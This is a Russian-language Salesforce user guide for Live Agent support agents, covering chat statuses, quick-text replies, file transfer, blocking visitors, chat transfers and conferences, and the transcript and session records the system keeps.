Salesforce

Вас приветствует приложение Live Agent для агентов службы поддержки! Live Agent —
это универсальное решение, позволяющее быстро обрабатывать проблемы клиентов
посредством чата.

Агент службыподдержки ежедневно обрабатывает различные проблемы клиентов. Live
Agent — это решение, полностью интегрированное в систему Salesforce и
предоставляющеецентрализованныйдоступковсемсведениямоклиентах. Крометого,
система Salesforce использует возможности Service Cloud для предоставления доступа к
важным инструментам (например, база знаний и предопределенные сообщения),
позволяющим повышать эффективность обслуживания клиентов и сокращать время
закрытия обращений.

Независимо от продолжительности использования приложения Live Agent, доступные
инструменты позволяют упростить одновременное обслуживание разных клиентов
посредством чата. Итак, начнем.

СМ. ТАКЖЕ:

Live Agent для администраторов службы поддержки

Live Agent для администраторов

Полномочия для агентов службы поддержки Live Agent
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Помощь клиентам посредством чата

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для общения с
посетителями вприложении
Live Agent на консоли
Salesforce:
• Приложение Live Agent,

включенное,
настроенное и
добавленное в
приложение консоли
Salesforce

Использование Live Agent помогает вашим клиентам быстро решать задачи.

Благодаря Live Agent в консоли Salesforce пользователь получает доступ к некоторым
другим продуктам Service Cloud, что позволяет оказывать клиентам исчерпывающую
помощь.

Изменение статуса Live Agent

Функция изменения статуса Live Agent позволяет контролировать доступность
пользователя для принятия новых и перенаправленных чатов.

Общение с клиентами
Чтобыначать общение с клиентами, рекомендуем принять входящий запрос на чат.

Доступ к сведениям о клиентах во время чата
Вкладка «Сведения» автоматически открывается при принятии входящего запроса
на чат. Данная вкладка содержит сведения о посетителе и позволяет просматривать
записи, связанные с чатом (например, контакты и обращения).

Отправка сообщений «Быстрый текст» в чатах
Готовые сообщения позволяют ускорить процесс отправки типовых сообщений
клиентам чата.

Перенос файлов во время чата
Пользователи могут предоставлять клиентам возможность загрузки и переноса
файловвовремячата, позволяющихупроститьпередачудополнительныхсведений
о возникших проблемах.

Блокировка нежелательных клиентов чата
Пользователи могут блокировать чаты от назойливых клиентов прямо на консоли
Salesforce. Например, пользователь может заблокировать клиента, использующего
оскорбительные выражения или отправляющего нежелательные сообщения.

Завершение сеанса чата
По завершенииобщения с клиентомиобновления связанных записейрекомендуем
завершить сеанс чата.

Изменение статуса Live Agent

Функция изменения статуса Live Agent позволяет контролировать доступность пользователя для принятия новых и
перенаправленных чатов.

Общение с клиентами
Чтобы начать общение с клиентами, рекомендуем принять входящий запрос на чат.

Доступ к сведениям о клиентах во время чата
Вкладка «Сведения» автоматически открывается при принятии входящего запроса на чат. Данная вкладка содержит
сведения о посетителе и позволяет просматривать записи, связанные с чатом (например, контакты и обращения).

Отправка сообщений «Быстрый текст» в чатах
Готовые сообщения позволяют ускорить процесс отправки типовых сообщений клиентам чата.

Перенос файлов во время чата
Пользователи могут предоставлять клиентам возможность загрузки и переносафайлов во время чата, позволяющих
упростить передачу дополнительных сведений о возникших проблемах.
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Блокировка нежелательных клиентов чата
Пользователимогутблокироватьчатыотназойливыхклиентовпрямона консоли Salesforce. Например, пользователь
может заблокировать клиента, использующего оскорбительные выражения или отправляющего нежелательные
сообщения.

Завершение сеанса чата
По завершении общения с клиентом и обновления связанных записей рекомендуем завершить сеанс чата.

Изменение статуса Live Agent

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для общения с
посетителями в Live Agent
на консоли Salesforce:
• Приложение Live Agent,

включенное,
настроенное и
добавленное в
приложение консоли
Salesforce

Функция изменения статуса Live Agent позволяет контролировать доступность
пользователя для принятия новых и перенаправленных чатов.

Приложение Live Agent поддерживает статусы «В сети», «Отошел» и «Не в сети». При
закрытии приложения Live Agent статусу пользователя автоматически присваивается
значение «Не в сети» и завершаются любые активные сеансы чата.

1. Чтобыоткрыть окномониторинга чата, щелкните виджетнижнего колонтитула Live
Agent.

2. Чтобыпросмотреть параметры статуса, щелкните стрелку раскрывающегося списка
в верхнем правом углу окна мониторинга чата.

3. Выберите нужный статус.

Статусы Live Agent

Статусы Live Agent определяют порядок взаимодействия с клиентами при разных
условиях доступности.

Статусы Live Agent

Статусы Live Agent определяют порядок взаимодействия с клиентами при разных
условиях доступности.
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Статусы Live Agent

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

СтатусыLive Agentопределяютпорядоквзаимодействиясклиентамиприразныхусловиях
доступности.

ОписаниеСтатус

Пользователимогут получать и принимать входящиечатыипереносы.В сети

Пользователи могут продолжать любые выполняемые сеансы чата, но
не могут принимать входящие чаты или переносы.

Отошел

Пользователи не могут принимать входящие чаты или переносы и
недоступны для перенаправления чатов.

Не в сети
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Общение с клиентами

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для общения с
посетителями вприложении
Live Agent на консоли
Salesforce:
• Приложение Live Agent,

включенное,
настроенное и
добавленное в
приложение консоли
Salesforce

Чтобы начать общение с клиентами, рекомендуем принять входящий запрос на чат.

Приполучениинового запроса на чат или перенос окно мониторинга чата отображает
отложенный запрос. Для каждого запроса отображается исходное развертывание (или
веб-сайт), имя клиента (если доступно) и время ожидания ответа (в минутах).

Одновременно пользователи могут общаться с несколькими клиентами. Каждый сеанс
чата открывается на отдельной основной вкладке.

1. Щелкните «Принять» для нужного запроса в окне мониторинга чата.
Журнал чата открывается на новой основной вкладке.

2. Введите нужное сообщение в соответствующее поле.

3. Чтобы отправить сообщение клиенту, нажмите кнопку «Отправить» или клавишу
ENTER.

4. По завершении нажмите кнопку «Завершить чат».

Если чат завершается клиентом, то журнал чата отображает соответствующее
уведомление.

СМ. ТАКЖЕ:

Отправка сообщений «Быстрый текст» в чатах

Добавление статей в чаты Live Agent

Перенос чатов

Перенос файлов во время чата

Добавление записей в транскрипты чата

Завершение сеанса чата
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Доступ к сведениям о клиентах во время чата

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для поиска и просмотра
записи:
• «Чтение» для объекта

И

«Создание» для
транскриптов Live Chat

Для создания записи:
• «Создание» для объекта

И

«Создание» для
транскриптов Live Chat

Для редактирования записи:
• «Редактирование» для

объекта

И

«Создание» для
транскриптов Live Chat

Для удаления записи:
• «Удаление» для объекта

И

«Создание» для
транскриптов Live Chat

Вкладка «Сведения» автоматически открывается при принятии входящего запроса на
чат. Данная вкладка содержитсведенияопосетителеипозволяетпросматривать записи,
связанные с чатом (например, контакты и обращения).

• Чтобы найти нужную запись, введите ее имя в соответствующее поле раздела

«Связанные объекты» ищелкните значок . Чтобы связать найденную запись с
чатом, выберите ее в списке результатов поиска и нажмите кнопку «Сохранить».

Пользователи более давних организаций могли просматривать записи и сведения
опосетителяхнапанели «Связанныеобъекты» во времячатов. Темнеменее, начиная
с выпуска Summer'14 панель «Связанные объекты» вкладки «Сведения» недоступна
новым клиентам Live Agent. Панель «Связанные объекты» будет доступна только
текущим клиентам.

• Чтобы открыть связанную запись в новой вкладке, щелкните ее имя.

• Чтобысоздать запись, нажмите кнопку «Создатьобращение», «Создатьинтерес»,
«Создать контакт» или «Создать организацию».
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Отправка сообщений «Быстрый текст» в чатах

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для доступа к быстрому
тексту во время общения с
посетителями вприложении
Live Agent:
• «Чтение» для объекта

«Быстрый текст»

Готовые сообщения позволяют ускорить процесс отправки типовых сообщений
клиентам чата.

Быстрый текст позволяет сократить время отправки ответа клиентам путем добавления
готовыхсообщений (например, приветствияилитипичныеэтапыустранениянеполадок)
в сообщения чата.

Прим.: При отсутствии доступа к быстрому тексту обратитесь к администратору.

1. При общении с клиентом введите символы ;; в поле сообщения.
Данное действие возвращает список сообщений «Быстрый текст». Сообщения,
использовавшиеся последними, отображаются вверху списка.

2. Чтобыпросмотретьдополнительныедоступныесообщения «Быстрыйтекст», введите
слово или фразу.
Данное действие возвращает список сообщений, содержащих введенные слова.

3. Чтобы просмотреть заголовок и полный текст сообщения, щелкните или выделите
нужное сообщение посредством клавиш со стрелками.
Полное сообщение отображается внизу списка «Быстрый текст».

4. Чтобы выбрать сообщение и добавить его в чат, дваждыщелкните или выделите
нужное сообщение и нажмите клавишу ENTER.

5. Чтобы отправить сообщение, нажмите кнопку «Отправить» или клавишу ENTER.

СМ. ТАКЖЕ:

Создание сообщений «Быстрый текст»
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Перенос файлов во время чата

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для использования на
консоли Salesforce:
• “Приложение Live

Agent, включенное и
настроенное в
организации

И

Приложение Live Agent,
настроенное в
приложении консоли
Salesforce

Пользователимогут предоставлять клиентам возможность загрузки и переносафайлов
вовремячата, позволяющихупроститьпередачудополнительныхсведенийовозникших
проблемах.

Например, клиентымогутзагружатьипередаватьагентамснимкисообщенийобошибках,
возникающих во время выполнения операций.

Клиент может загрузить файл только после связывания чата с записью (например,
обращение или контакт). Файл клиента не может быть добавлен в транскрипт во время
чата, так как транскрипты создаются после завершения чатов.

1. Чтобы найти или создать запись для добавления в чат, щелкните значок .

2. Щелкните значок переноса файла ( ).

Прим.: Файлможетбыть загруженклиентомтолькопосленачала егопереноса
посредством специального значка. Данный алгоритм позволяет исключить
загрузку нежелательных или потенциально опасных файлов в чат.

3. Выберите запись, найденную или созданную в первом действии.
При этом клиенту предлагается загрузить файл в окно чата.

4. Чтобы просмотреть файл, отправленный клиентом посредством чата, щелкните
соответствующую ссылку в журнале чата.
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Добавление вложений в чат

Добавление статей в чаты Live Agent

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для поиска и просмотра
статьи:
• «Чтение» для типа

статьи

Виджет Knowledge One позволяет быстро находить статьи, которые могут быть полезны
при решении проблем клиентов.

Виджет Knowledge One доступен только в том случае, если организация использует
компонент Salesforce Knowledge, а сам инструмент добавлен администратором в
приложение консоли Salesforce.

1. При общении с посетителем выберите нужную статью из списка, отображаемого
виджетом Knowledge One. При этом откроется вкладка, содержащая полный текст
статьи.

2. Чтобы найти конкретную статью, введите слово или фразу в текстовую область
виджета и щелкните значок или нажмите клавишу ENTER.

• Чтобы найти все статьи, включая те, которые отсутствуют в списке, щелкните
значок , расположенныйвверхнейчастивиджета. Функцияосновногопоиска
позволяетфильтроватьотображаемыерезультатыпоопределеннымтипамстатей.

• Чтобы отфильтровать результаты поиска, щелкните «Фильтры» и выберите
параметрыфильтрации.

3. Щелкните значок напротив нужной найденной статьи и выберите пункт
«Опубликовать».
При этом текст статьи отображается в текстовом поле чата.

4. Чтобы отправить статью посетителю, нажмите кнопку «Отправить» или клавишу
ENTER на клавиатуре.

Прим.: При настройке поля «Chat Answer» для статей пользователи могут
отправлять статьи только посетителям. В противном случае статьи доступны
только для просмотра.

СМ. ТАКЖЕ:

Настройка ответов чата из статей базы знаний
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Добавление записей в транскрипты чата

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для поиска и просмотра
записи:
• «Чтение» для объекта

И

«Создание» для
транскриптов Live Chat

Для создания записи:
• «Создание» для объекта

И

«Создание» для
транскриптов Live Chat

Для редактирования записи:
• «Редактирование» для

объекта

И

«Создание» для
транскриптов Live Chat

Для удаления записи:
• «Удаление» для объекта

И

«Создание» для
транскриптов Live Chat

Пользователи могут находить или создавать записи для добавления в транскрипт чата
во время общения с клиентами.

Пользователимогутнаходитьтекущиезаписиилисоздаватьновыезаписидлясвязывания
с транскриптом во время общения с клиентами. Например, создайте обращение на
основе проблемы клиента или найдите текущий контакт клиента и добавьте данные
записи в транскрипт для последующего просмотра. Транскрипты поддерживают
добавление стандартных или настраиваемых записей.

1. Чтобы добавить запись в транскрипт, щелкните значок во время общения с
клиентом.

Прим.: Транскриптчатапозволяетдобавлять толькоодну запись каждого типа.
Например, одинтранскриптможетбытьдополнентолькооднимобращением.

2. Чтобы найти текущую запись, выполните указанные ниже действия.

a.
Щелкните значок поиска ( ) напротив нужного типа записи в окне записей.

b. Введите имя нужной записи и нажмите клавишу ENTER.
При этом запись откроется на новой вкладке.

c. Щелкните значок добавления ( ) повторно.

d. Установите флажок напротив найденной записи для ее связывания с
транскриптом чата.

3. Чтобы создать запись, выполните указанные ниже действия.

a.
Щелкните значок создания ( ) напротив нужного типа записи.

b. Заполните соответствующие поля и сохраните новую запись.

Созданная запись будет автоматически связана с транскриптом.

4. По завершении работы закройте чат.

5. При необходимости нажмите кнопку «Сохранить».
Связанные записи добавляются в транскрипт. При необходимости просмотрите
данные записи посредством подробного представления транскрипта.

СМ. ТАКЖЕ:

Транскрипты Live Agent
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Блокировка нежелательных клиентов чата

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для общения с
посетителями вприложении
Live Agent на консоли
Salesforce:
• Приложение Live Agent,

включенное,
настроенное и
добавленное в
приложение консоли
Salesforce

Пользователи могут блокировать чаты от назойливых клиентов прямо на консоли
Salesforce. Например, пользователь может заблокировать клиента, использующего
оскорбительные выражения или отправляющего нежелательные сообщения.

Блокировка чата инициирует завершение чата и блокировку любых новых запросов на
чаты, исходящих с IP-адреса пользователя.

При получении большого количества нежелательных чатов из отдельного региона
администратор может заблокировать целые диапазоны IP-адресов.

1.
Щелкните значок на панели взаимодействия.

2. (Дополнительно) Введитекомментарий, поясняющийпричинублокировкиданного
посетителя.

3. Щелкните «Блокировать».

Параметр«Блокировать»инициируетнезамедлительноезавершениечатаиотображение
посетителю уведомления о завершении чата агентом. При участии нескольких агентов
в конференции параметр «Блокировать» инициирует незамедлительное завершение
конференции и отображение другим агентам соответствующего уведомления.

При отсутствии значка на консоли обратитесь к администратору Salesforce для
его включения. IP-адрес может быть разблокирован только администратором.
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Завершение сеанса чата

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для общения с
посетителями вприложении
Live Agent на :
• Приложение Live Agent,

включенное,
настроенное и
добавленное в
приложение

По завершении общения с клиентом и обновления связанных записей рекомендуем
завершить сеанс чата.

По завершении чата с клиентом основные и второстепенные вкладки, связанные с
даннымчатом, остаютсяоткрытыминаконсоли. Чтобысохранить выполненнуюработу
и освободить место для других чатов, закройте данные вкладки.

1. Закройте основную вкладку чата.

2. При необходимости нажмите кнопку «Сохранить».
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Сотрудничество и обращение за помощью

Передача чатов агентам, навыкам или кнопкам

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

Чаты Live Agent могут быть переданы другому агенту, навыку или кнопке, в результате
чего вашиклиентыполучат квалифицированнуюпомощьизнаиболее осведомленных
источников.

Передача чата Live Agent аналогична пересылке сообщения электронной почты или
передачеобращениядругому агенту. Передачуимеет смыслиспользовать, еслиу клиента
естьпроблема, которуюможетрешитьдругойклиент, либоесликлиенту требуется агент
с определенным навыком. Способ доставки чата следующему агенту зависит от типа
используемой передачи.

Система поддерживает три типа передачи: передача агенту, передача навыку и передача
кнопке. Чтобыпомощьклиентампредоставляласьмаксимальнооперативно, некоторые
типы передачи чата могут превышать настроенную пропускную способность агентов.
НастроитьпропускнуюспособностиагентаможноспомощьюконфигурацииLive Agent
или конфигурации присутствия при использовании мультиканала организацией.

Вероятность
превышения
настроенной
пропускной
способности
агента

Способ передачиСценарийТип передачи

ДаЗапрос на чат
отправлен агенту

Необходимо
передать чат агенту

Передача агенту

Джейн. Если онаДжейн, потому что
примет запрос, чатона идеально
будет передан ей, аподходит под
ваше рабочеетребования

обращения. пространство чата
закроется.

ДаЗапрос на чат
отправляется всем

Необходимо
переслатьчат агенту

Передача навыку

агентам,с навыком
назначенным для«специалист по

счетам». этого навыка, и чат
будет передан
первому агенту,
который примет
запрос.

НетЧат передается
доступному агенту,

Необходимо
передать чат из

Передача кнопке

назначенному дляочереди продаж в
выбранной кнопки
или очереди.

очереди на
обслуживание.
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Для чатов, переданных непосредственно агенту или группе навыков, допускается превышение принятой пропускной
способностиагента. Этозначит, чтоагентыбудутвсегдаполучать запросыначат, дажееслиужеобрабатываютмаксимально
допустимое число чатов. Если запрос на передачу будет отклонен или время ожидания истечет, первый агент может
назначить другого принимающего или использовать другой способ.

Чаты, отправленные от кнопок или очередей, всегда учитывают настроенную пропускную способность агента. Таким
образом, агенты, назначенныедля тойкнопкиилиочереди, неполучат запроснапередачуилиначат, покаихпропускная
способность не будет открыта. Не волнуйтесь! Клиентам все равно не придется долго дожидаться другого агента. Когда
чат отправляется в новуюочередь, ондобавляется в список входящихчатовпо времени существования, поэтомуонбудет
отображаться над более новыми запросами на чат.

Когда агент принимает переданный чат, прикрепленные к транскрипту чата записи (например, обращение или контакт)
открываются рядом с чатом в рабочем пространстве. Принимающий агент обладает всеми сведениями, чтобы сразу
оказать помощь клиенту без дополнительного поиска связанных записей. Эти записи постоянно обновляются, так как
предыдущий агент обязан сохранять любые изменения при запуске передачи.

Прим.: Еслипринимающийагентнеобладаетполномочиямидляпросмотраодногоилинесколькихприкрепленных
объектов, эти элементы не откроются в переданном рабочем пространстве.

Перенос чатов
Пользователь может передавать сеансы чата другим агентам, если клиенту требуется дополнительная помощь в
определенном вопросе, либо оставить место для новых запросов.

Перенос чатов
Пользователь может передавать сеансы чата другим агентам, если клиенту требуется дополнительная помощь в
определенном вопросе, либо оставить место для новых запросов.
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Перенос чатов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для общения с
посетителями вприложении
Live Agent на консоли
Salesforce:
• Приложение Live Agent,

включенное,
настроенное и
добавленное в
приложение консоли
Salesforce

Пользователь может передавать сеансы чата другим агентам, если клиенту требуется
дополнительная помощь в определенном вопросе, либо оставить место для новых
запросов.

1. При общении с клиентом в чате нажмите кнопку «Перенос».

2. Выберите параметр передачи из любого меню.

4325

Сотрудничество и обращение за помощьюОптимизация приложений Sales и Service посредством
консоли Salesforce



Прим.: Для каждого типа передачи, включенной для вашей организации, доступны определенные параметры.
Если нужный параметр не отображается, попросите администратора добавить его.

3. (Дополнительно) Напишите сообщение агенту, получившему чат. Это сообщение будет частью запроса на чат,
который предоставит нужную информацию следующему агенту.
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4. Если передача принята, ваш чат со связанными записями автоматически закроется (не беспокойтесь, вам будет
предложено сохранить изменения). Если передача будет отклонена, можно повторить попытку для другого
принимающего или другим способом передачи.
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Отправка запроса на конференцию чата

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания и
редактирования
конфигураций:
• «Настройка

приложения»

Для включения
конференции чата:
• «Включение

конференции чата Live
Agent»

Несмотря на глубокие познания агентов службыподдержки, некоторые агентымогут не
обладать всей информацией, необходимой для решения проблемы клиента.
Конференция чата позволяет приглашать других агентов в чаты с клиентами. Таким
образом, агенты могут предоставлять клиентам полноценную поддержку без ущерба
для цепочки диалогов! Чтобы пригласить другого агента в чат с клиентом, отправьте
запрос на конференцию чата.

Прим.: Принеобходимостиначнитеконференциюсоднимагентомилиотправьте
запрос всем агентам, из которых участие в конференции будет доступно первому
принявшему запрос. Чтобы начать конференцию с несколькими агентами,
отправьте каждый запрос отдельно.

1. Щелкните значок во время общения с клиентом.

2. Выберите группу навыков нужных агентов.

3. Определите необходимость отправки запроса на конференцию всем агентам с
выбранным навыком или конкретному агенту.

4. Чтобы отправить запрос на конференцию, щелкните «Конференция».

Припринятиизапросанаконференциюсоответствующееуведомлениеотображается
вжурналечата, а агент, принявшийзапрос, можетначатьобщениес текущимагентом
и клиентом. При отклонении запроса соответствующее уведомление отображается
над журналом чата. Клиент получает уведомление при присоединении или выходе
агента из конференции.

5. Чтобы выйти из конференции, последовательнощелкните «Выйти».

Уведомлениеовыходедругого агентаиз конференциибудетотображаться вжурнале
чата.

Любые сохраненные и добавленные записи будут доступны другим агентам по мере их
присоединениякконференции. Темнеменее, добавлениедругихзаписейбудетдоступно
толькоагенту, инициировавшемуконференциюилипринимающемусамоедлительное
участие. Если агент, принимающий самое длительное участие, добавляет или удаляет
записи во время конференции, то данные изменения не будут доступны другим агентам
в их рабочих пространствах.

Дополнительную информацию о переносе чатов и рабочих пространств см. в разделе «Перенос чатов».
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Запрос помощи с помощью чата

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition

Если вам требуетсяпомощьчерез чат, можноподнять виртуальныйфлажок, чтобыдать
знак администратору. Администраторам приходит уведомление, что вам требуется
помощь, и они могут ответить вам напрямую через консоль.

1. Щелкните по значку на панели взаимодействия.

2. Введите сообщение, вкратце объясняющее, какая помощь вам требуется.

3. Нажмите кнопкуПоднятьфлажок.

Либо вы, либо администратор можете опуститьфлажок, когда проблема будет решена.

При отсутствии значка на консоли обратитесь к администратору Salesforce, чтобы
включить его.
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Просмотр записей клиентов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра записей
клиентов:
• «Чтение» для типа

записи

Для использования Live
Agent агентами:
• Полномочие

администратора «API
включен»

Позавершениичата система Salesforce автоматическисоздаетнекоторые записи. Данные
записи хранят сведения о клиентах и их взаимодействиях с агентами.

Какправило, данныезаписииспользуютсясистемойдлясозданияконтрольногожурнала
по клиентам и их чатам с агентами. При необходимости пользователи могут
самостоятельно открывать данные записи.

1. Чтобы просмотреть записи клиентов на консоли Salesforce, выберите нужный тип
записи в списке навигации консоли Salesforce.

Список данных записей будет отображаться в основном окне.

Записи сеансов Live Agent

Запись сеанса Live Agent создается автоматически при каждом входе агентов в
приложение Live Agent. Данные записи сеансов хранят сведения об интерактивных
взаимодействияхагентовиклиентов (например, количествообработанныхзапросов
на чат, времянахождения агентов в сетиили время активного участия агентов в чатах
с клиентами).

Записи посетителей Live Agent

При каждом общении агента с клиентом система Salesforce автоматически создает
запись посетителя, определяющую компьютер клиента.

Транскрипты Live Agent

Транскрипт Live Agent — это записьчатамеждуклиентомиагентом. СистемаSalesforce
автоматически создает транскрипты для каждого сеанса чата.

Записи сеансов Live Agent

Запись сеанса Live Agent создается автоматически при каждом входе агентов в
приложение Live Agent. Данные записи сеансов хранят сведения об интерактивных
взаимодействияхагентовиклиентов (например, количествообработанныхзапросов
на чат, времянахождения агентов в сетиили время активного участия агентов в чатах
с клиентами).

Записи посетителей Live Agent

Прикаждомобщенииагента с клиентомсистема Salesforce автоматически создает записьпосетителя, определяющую
компьютер клиента.

Транскрипты Live Agent

Транскрипт Live Agent — это запись чата между клиентом и агентом. Система Salesforce автоматически создает
транскрипты для каждого сеанса чата.
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Записи сеансов Live Agent

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

Записьсеанса Live Agent создается автоматическиприкаждомвходеагентоввприложение
Live Agent. Данные записи сеансов хранят сведения об интерактивных взаимодействиях
агентов и клиентов (например, количество обработанных запросов на чат, время
нахождения агентов в сети или время активного участия агентов в чатах с клиентами).

Рекомендуем использовать сеансы Live Agent для поиска и редактирования сведений о
чатах агентов службы поддержки с клиентами. Например, чтобы просмотреть действия
чата за один день, создайте список «Сеансы за сегодня».

Записи сеансов могут быть связаны с обращениями, организациями, контактами и
интересами или другими объектами посредством настраиваемых полей поиска.

Прим.: Приналичиисоответствующихполномочийпользователимогутсоздавать,
просматривать, редактировать и удалять записи сеансов, подобно другим типам
записей в системе Salesforce. Не рекомендуем подделывать данные записи, так как
записи сеансов, как правило, используются для документирования чатов между
агентами и клиентами.

Записи посетителей Live Agent

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

Прикаждомобщенииагента с клиентомсистема Salesforce автоматическисоздает запись
посетителя, определяющую компьютер клиента.

Каждый новый посетитель связывается с сеансовым ключом, который автоматически
создается системой Salesforce. Сеансовый ключ — это уникальный код, хранящийся в
записипосетителяина егоперсональномкомпьютерев виде cookie-файла. Есликлиент
участвует в нескольких чатах, то система Salesforce использует сеансовый ключ для
связывания клиента с его записью посетителя, которая, в свою очередь, связывается со
всеми соответствующими транскриптами чата.

Прим.: Приналичиисоответствующихполномочийпользователимогутсоздавать,
просматривать, редактировать и удалять записи посетителей, подобно другим
типам записей в системе Salesforce. Не рекомендуем подделывать данные записи,
так как записи посетителей, как правило, используются для документирования
сведений, связывающих клиентов с транскриптами чата.

СМ. ТАКЖЕ:

Создание записей

Удаление записей

Редактирование записей
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Транскрипты Live Agent

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

Транскрипт Live Agent — это запись чата между клиентом и агентом. Система Salesforce
автоматически создает транскрипты для каждого сеанса чата.

При успешном завершении чата (то есть, при завершении чата клиентом или агентом)
закрытие окна чата и всех связанных вкладок инициирует создание транскрипта чата.

При отключении чата или возникновении другой ошибки система Salesforce также
создает транскрипт чата, но выполнение данной операции может занять до 30 минут.

Транскрипты могут быть связаны с обращениями, организациями, контактами и
интересами или другими объектами.

Прим.: Приналичиисоответствующихполномочийпользователимогутсоздавать,
просматривать, редактироватьи удалять транскриптычата, подобнодругим типам
записей в системе Salesforce. Не рекомендуем подделывать данные записи, так как
транскрипты чата, как правило, используются для документирования чатов между
агентами и клиентами.

Поля транскрипта Live Agent

Поля транскрипта Live Agent позволяют отслеживать сведения о чатах агентов с
клиентами.

События транскрипта Live Agent

События транскрипта Live Chat позволяют автоматически отслеживать события, происходящие между агентами и
клиентами во время чатов.

Поля транскрипта Live Agent

Поля транскрипта Live Agent позволяют отслеживать сведения о чатах агентов с клиентами.

События транскрипта Live Agent

События транскрипта Live Chat позволяют автоматически отслеживать события, происходящие между агентами и
клиентами во время чатов.

СМ. ТАКЖЕ:

Создание записей

Удаление записей

Редактирование записей
